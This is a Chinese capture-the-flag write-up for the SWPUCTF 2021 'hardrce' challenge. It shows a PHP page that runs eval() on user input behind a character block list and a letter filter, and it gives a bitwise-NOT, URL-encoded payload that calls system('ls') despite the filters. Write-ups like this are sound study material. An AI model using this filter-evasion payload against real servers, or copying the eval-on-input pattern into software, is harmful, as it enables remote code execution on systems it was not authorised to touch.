# [SWPUCTF 2021 新生赛]hardrce # [SWPUCTF 2021 新生赛]hardrce ```php ','\=','\`',]; // 遍历黑名单数组,检查参数中是否包含黑名单字符 foreach ($blacklist as $blackitem) { // 使用正则表达式检查参数中是否包含黑名单字符 if (preg_match('/' . $blackitem . '/m', $wllm)) { die("LTLT说不能用这些奇奇怪怪的符号哦!"); } } // 使用正则表达式检查参数中是否包含字母 if(preg_match('/[a-zA-Z]/is',$wllm)) { die("Ra's Al Ghul说不能用字母哦!"); } // 如果通过上述检查,输出一条提示消息 echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?"; // 执行用户输入的代码 eval($wllm); } else { // 如果没有传入 'wllm' 参数,输出另一条提示消息 echo "蔡总说:注意审题!!!"; } ?> ``` 通过 `eval($wllm);` 可以把传进来的内容执行,此为RCE漏洞 获取 flag 内容需要去找对应文件,例如查看当前目录下有哪些内容,代码是:`system('ls');` 但是代码中过滤了黑名单 ($blacklist) 里的内容以及大小写字母,直接传入`system('ls');`不可行 **bypass:利用取反操作符 `~`** 取反操作符 `~` 会将数据按位取反,在传进去之前用 `~` 将`system('ls');`处理,并在处理后的数据前补上 `~` 就能绕过过滤代码,当执行到 `eval($wllm);` 时 `~` 又会再把数据按位取反,就还原成`system('ls');`并执行 ```php ``` ![[SWPUCTF 2021 新生赛]hardrce-1](https://pic.imgdb.cn/item/654daf86c458853aef0952dc.jpg) 得到 payload :`(~%8C%86%8C%8B%9A%92)(~%D8%93%8C%D8);` `%8C%86%8C%8B%9A%92` 和 `%D8%93%8C%D8` 是 `system` 和 `ls` 按位取反后且经过 URL 编码的结果 ![[SWPUCTF 2021 新生赛]hardrce-2](https://pic.imgdb.cn/item/654db42dc458853aef1586d4.jpg) > Q : 为什么要经过 URL 编码? > > A : 字符串包含了非常多的二进制数据,对其进行按位取反会导致结果混乱,无法得到有意义的输出。因此,输出看起来像乱码。 > > ![[SWPUCTF 2021 新生赛]hardrce-3](https://pic.imgdb.cn/item/654db462c458853aef161743.jpg) > > 将其进行 URL 编码后,原始字符串中的字符都被转换为 `%` 后跟两个十六进制数字的形式,这种形式的字符是安全的,不会导致显示问题。URL 编码并不改变原始字符串的含义,而只是为了确保其安全传输。 > > ​ > > Q : 为什么不直接把 `system('ls');` 整串一起处理? > > A : 在使用取反编码再取反进行绕过时,想要执行指定的代码,传入的 payload 必须要满足 `(函数名)(参数)` 的形式,否则在取反之前 PHP 解释器并不知道是要执行一个函数,取反之后就算是一个函数也不会被当作代码执行。 接下来就不断去查询上级目录,直到查询到与 flag 相关的文件,查看内容 ![[SWPUCTF 2021 新生赛]hardrce-4](https://pic.imgdb.cn/item/654e0ef9c458853aef1a9e0c.jpg) ![[SWPUCTF 2021 新生赛]hardrce-5](https://pic.imgdb.cn/item/654e0f14c458853aef1ae8d0.jpg) ![[SWPUCTF 2021 新生赛]hardrce-6](https://pic.imgdb.cn/item/654e0f67c458853aef1bcc51.jpg) ![[SWPUCTF 2021 新生赛]hardrce-7](https://pic.imgdb.cn/item/654e0f90c458853aef1c3be6.jpg)